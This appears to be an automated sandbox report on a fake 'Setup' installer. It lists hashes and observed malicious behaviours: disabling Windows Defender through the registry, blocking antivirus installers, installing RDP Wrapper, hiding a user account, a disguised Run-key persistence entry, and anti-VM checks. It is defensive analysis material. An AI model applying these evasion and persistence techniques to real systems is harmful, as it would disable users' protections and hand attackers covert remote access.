Overview
overview
10Static
static
7Setup-pass...up.exe
windows7-x64
10Setup-pass...up.exe
windows10-1703-x64
10Setup-pass...up.exe
windows10-2004-x64
10Setup-pass...up.exe
windows11-21h2-x64
10Setup-pass...a0.exe
windows7-x64
3Setup-pass...a0.exe
windows10-1703-x64
3Setup-pass...a0.exe
windows10-2004-x64
3Setup-pass...a0.exe
windows11-21h2-x64
3Analysis
-
max time kernel
149s -
max time network
158s -
platform
windows11-21h2_x64 -
resource
win11-20240802-en -
resource tags
arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system -
submitted
26-08-2024 17:31
Behavioral task
behavioral1
Sample
Setup-pass-2024/Setup.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
Setup-pass-2024/Setup.exe
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
Setup-pass-2024/Setup.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
Setup-pass-2024/Setup.exe
Resource
win11-20240802-en
Behavioral task
behavioral5
Sample
Setup-pass-2024/data0.exe
Resource
win7-20240705-en
Behavioral task
behavioral6
Sample
Setup-pass-2024/data0.exe
Resource
win10-20240404-en
Behavioral task
behavioral7
Sample
Setup-pass-2024/data0.exe
Resource
win10v2004-20240802-en
Behavioral task
behavioral8
Sample
Setup-pass-2024/data0.exe
Resource
win11-20240802-en
General
-
Target
Setup-pass-2024/Setup.exe
-
Size
4.2MB
-
MD5
320e2e055e06df0aca09643116b3ef89
-
SHA1
cfc8e9f6140a9b04f8a3b240bbace0ec845a3196
-
SHA256
838f122a6e751fb3ffd45c48ea86374b0938ac70ffb6e05b1715f2de1f9bb04e
-
SHA512
5b40dcee0f08dd52cf9339197af1e19cbd99e576c8ece9eabefe4caf2fbfb11d95541035c1940c0017d1a020bfe9b14d5889d39610ee205809ab4b3982af34ae
-
SSDEEP
98304:t4mwM0MziYrBZUt8qxSiUIHrCPmYs3wP46U9Fu2DpECdko5M7gfYF:Wq0Wb0P6ILFW6uIEAE7g4
Malware Config
Signatures
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\RealtimeScanDirection = "2" KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" KMS.exe Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRawWriteNotification = "1" KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" KMS.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications KMS.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1" KMS.exe -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Setup.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ KMS.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ update.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ smss.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ IP.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ unsecapp.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ unsecapp.exe -
Remote Service Session Hijacking: RDP Hijacking 1 TTPs 3 IoCs
Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.
pid Process 2612 net1.exe 4368 net.exe 4800 cmd.exe -
Blocks application from running via registry modification 28 IoCs
Adds application to list of disallowed applications.
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\4 = "essf_trial_rus.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\9 = "360TS_Setup_Mini.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\12 = "AVbr.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\23 = "drweb-12.0-ss-win.exe" KMS.exe Key created \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\16 = "FRST64.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\13 = "AV_br.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\18 = "esetonlinescanner.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\24 = "cureit.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\26 = "eset_smart_security_premium_live_installer.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\10 = "Cezurity_Scanner_Pro_Free.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\20 = "MBSetup.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\5 = "hitmanpro_x64.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\7 = "ESETOnlineScanner_RUS.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\8 = "HitmanPro.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\11 = "Cube.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\17 = "eset_internet_security_live_installer.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\19 = "eset_nod32_antivirus_live_installer.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\21 = "PANDAFREEAV.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "eav_trial_rus.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "avast_free_antivirus_setup_online.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\14 = "KVRT.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\22 = "bitdefender_avfree.exe" KMS.exe Set value (int) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\6 = "ESETOnlineScanner_UKR.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\15 = "cureit.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\25 = "TDSSKiller.exe" KMS.exe Set value (str) \REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\3 = "eis_trial_rus.exe" KMS.exe -
Drops file in Drivers directory 2 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts cmd.exe File opened for modification C:\Windows\System32\drivers\etc\hosts update.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 1968 netsh.exe -
Server Software Component: Terminal Services DLL 1 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll" RDPWinst.exe -
Checks BIOS information in registry 2 TTPs 14 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion IP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion unsecapp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion smss.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion unsecapp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion KMS.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion KMS.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion smss.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion IP.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion unsecapp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Setup.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion unsecapp.exe -
Executes dropped EXE 13 IoCs
pid Process 792 install.exe 4788 KMS.exe 4120 update.exe 4760 win.exe 2440 svchost.exe 2376 IP.exe 788 smss.exe 1552 winserv.exe 2764 winserv.exe 2772 unsecapp.exe 2024 RDPWinst.exe 1928 winserv.exe 2612 unsecapp.exe -
Loads dropped DLL 1 IoCs
pid Process 3124 svchost.exe -
Modifies file permissions 1 TTPs 64 IoCs
pid Process 4224 icacls.exe 1684 icacls.exe 3688 icacls.exe 1240 icacls.exe 4452 icacls.exe 2956 icacls.exe 4200 icacls.exe 2120 icacls.exe 764 icacls.exe 4112 icacls.exe 3360 icacls.exe 4604 icacls.exe 2448 icacls.exe 132 icacls.exe 4092 icacls.exe 900 icacls.exe 1592 icacls.exe 3616 icacls.exe 1128 icacls.exe 1128 icacls.exe 4424 icacls.exe 4712 icacls.exe 1080 icacls.exe 2972 icacls.exe 1344 icacls.exe 2120 icacls.exe 920 icacls.exe 1172 icacls.exe 4456 icacls.exe 1864 icacls.exe 236 icacls.exe 3884 icacls.exe 1028 icacls.exe 3160 icacls.exe 4224 icacls.exe 3836 icacls.exe 3496 icacls.exe 4336 icacls.exe 2260 icacls.exe 2260 icacls.exe 3136 icacls.exe 2432 icacls.exe 1216 icacls.exe 1376 icacls.exe 4336 icacls.exe 2708 icacls.exe 1800 icacls.exe 4668 icacls.exe 2792 icacls.exe 2152 icacls.exe 2996 icacls.exe 1916 icacls.exe 3384 icacls.exe 4728 icacls.exe 4560 icacls.exe 2992 icacls.exe 1100 icacls.exe 3624 icacls.exe 1248 icacls.exe 1596 icacls.exe 1308 icacls.exe 2520 icacls.exe 1716 icacls.exe 1432 icacls.exe -
resource yara_rule behavioral4/memory/932-0-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-4-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-2-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-3-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-5-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-7-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-8-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-6-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-9-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/files/0x000500000002a9db-22.dat themida behavioral4/memory/4788-37-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-39-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-38-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-40-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-41-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-45-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-46-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4788-47-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/932-48-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/932-49-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/4788-51-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp themida behavioral4/memory/4120-54-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/4120-53-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/4120-52-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/4120-55-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/4120-58-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/4120-57-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/932-60-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/4120-61-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/932-62-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/4120-80-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/memory/932-86-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/4120-87-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/files/0x000200000002aad9-103.dat themida behavioral4/files/0x000100000002aada-113.dat themida behavioral4/memory/932-121-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/788-124-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-125-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-123-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-122-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-126-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-127-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/788-128-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/2376-130-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-131-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-129-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-135-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-133-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-134-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2376-132-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/2772-215-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-219-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-223-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-221-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-222-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-220-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/2772-218-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/4120-232-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida behavioral4/files/0x000100000002aaea-169.dat themida behavioral4/memory/2376-308-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp themida behavioral4/memory/932-315-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp themida behavioral4/memory/788-349-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp themida behavioral4/memory/2772-486-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp themida behavioral4/memory/4120-487-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp themida -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio = "C:\\ProgramData\\RealtekHD\\taskhostw.exe" IP.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA smss.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA unsecapp.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA unsecapp.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA KMS.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA update.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IP.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 ip-api.com -
Modifies WinLogon 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1" RDPWinst.exe -
AutoIT Executable 54 IoCs
AutoIT scripts compiled to PE executables.
resource yara_rule behavioral4/memory/932-4-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-3-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-5-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-7-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-8-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-6-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-9-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/4788-39-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4788-40-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4788-41-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4788-45-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4788-46-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4788-47-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/932-48-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/932-49-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/4788-51-0x00007FF7179F0000-0x00007FF7189BA000-memory.dmp autoit_exe behavioral4/memory/4120-54-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/4120-53-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/4120-55-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/4120-58-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/4120-57-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/932-60-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/4120-61-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/932-62-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/4120-80-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/932-86-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/4120-87-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/932-121-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/788-124-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/788-125-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/788-123-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/788-126-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/788-127-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/788-128-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/2376-130-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2376-131-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2376-135-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2376-133-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2376-134-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2376-132-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/2772-219-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/2772-223-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/2772-221-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/2772-222-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/2772-220-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/2772-218-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/4120-232-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/2376-308-0x00007FF6C94B0000-0x00007FF6CAF13000-memory.dmp autoit_exe behavioral4/memory/932-315-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/788-349-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe behavioral4/memory/2772-486-0x00007FF73ACE0000-0x00007FF73C2DE000-memory.dmp autoit_exe behavioral4/memory/4120-487-0x00007FF64FD10000-0x00007FF650D10000-memory.dmp autoit_exe behavioral4/memory/932-488-0x00007FF7C6BD0000-0x00007FF7C76DF000-memory.dmp autoit_exe behavioral4/memory/788-489-0x00007FF6A0E50000-0x00007FF6A1E83000-memory.dmp autoit_exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\SysWOW64\unsecapp.exe IP.exe File opened for modification C:\Windows\SysWOW64\unsecapp.exe IP.exe File created C:\Windows\System32\rfxvmt.dll RDPWinst.exe -
Hide Artifacts: Hidden Users 1 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0" reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0" reg.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
pid Process 932 Setup.exe 4788 KMS.exe 4120 update.exe 2376 IP.exe 788 smss.exe 2772 unsecapp.exe 2612 unsecapp.exe -
Drops file in Program Files directory 52 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\AVG update.exe File opened for modification C:\Program Files\HitmanPro update.exe File opened for modification C:\Program Files\Common Files\McAfee update.exe File opened for modification C:\Program Files\Transmission update.exe File opened for modification C:\Program Files\EnigmaSoft update.exe File opened for modification C:\Program Files (x86)\Cezurity update.exe File opened for modification C:\Program Files (x86)\IObit\IObit Malware Fighter update.exe File opened for modification C:\Program Files\SUPERAntiSpyware update.exe File opened for modification C:\Program Files\ByteFence update.exe File opened for modification C:\Program Files\Loaris Trojan Remover update.exe File opened for modification C:\Program Files (x86)\MSI\MSI Center update.exe File opened for modification C:\Program Files (x86)\Kaspersky Lab update.exe File opened for modification C:\Program Files\Rainmeter update.exe File opened for modification C:\Program Files\Common Files\Doctor Web update.exe File opened for modification C:\Program Files\ESET update.exe File opened for modification C:\Program Files (x86)\SpyHunter update.exe File opened for modification C:\Program Files\SpyHunter update.exe File opened for modification C:\Program Files (x86)\IObit update.exe File opened for modification C:\Program Files\CPUID\HWMonitor update.exe File opened for modification C:\Program Files\NETGATE update.exe File opened for modification C:\Program Files (x86)\GRIZZLY Antivirus update.exe File opened for modification C:\Program Files (x86)\IObit\Advanced SystemCare update.exe File opened for modification C:\Program Files\QuickCPU update.exe File opened for modification C:\Program Files (x86)\Microsoft JDX update.exe File opened for modification C:\Program Files\Enigma Software Group update.exe File opened for modification C:\Program Files\Common Files\AV update.exe File opened for modification C:\Program Files (x86)\GPU Temp update.exe File opened for modification C:\Program Files (x86)\Transmission update.exe File opened for modification C:\Program Files (x86)\Wise update.exe File opened for modification C:\Program Files\ReasonLabs update.exe File opened for modification C:\Program Files\Malwarebytes update.exe File opened for modification C:\Program Files\Process Lasso update.exe File opened for modification C:\Program Files\Ravantivirus update.exe File created C:\Program Files\Common Files\System\iediagcmd.exe update.exe File opened for modification C:\Program Files\Kaspersky Lab update.exe File opened for modification C:\Program Files (x86)\Panda Security update.exe File opened for modification C:\Program Files (x86)\360 update.exe File opened for modification C:\Program Files\AVG update.exe File opened for modification C:\Program Files\AVAST Software update.exe File opened for modification C:\Program Files (x86)\Moo0 update.exe File created C:\Program Files\RDP Wrapper\rdpwrap.ini RDPWinst.exe File opened for modification C:\Program Files\Cezurity update.exe File opened for modification C:\Program 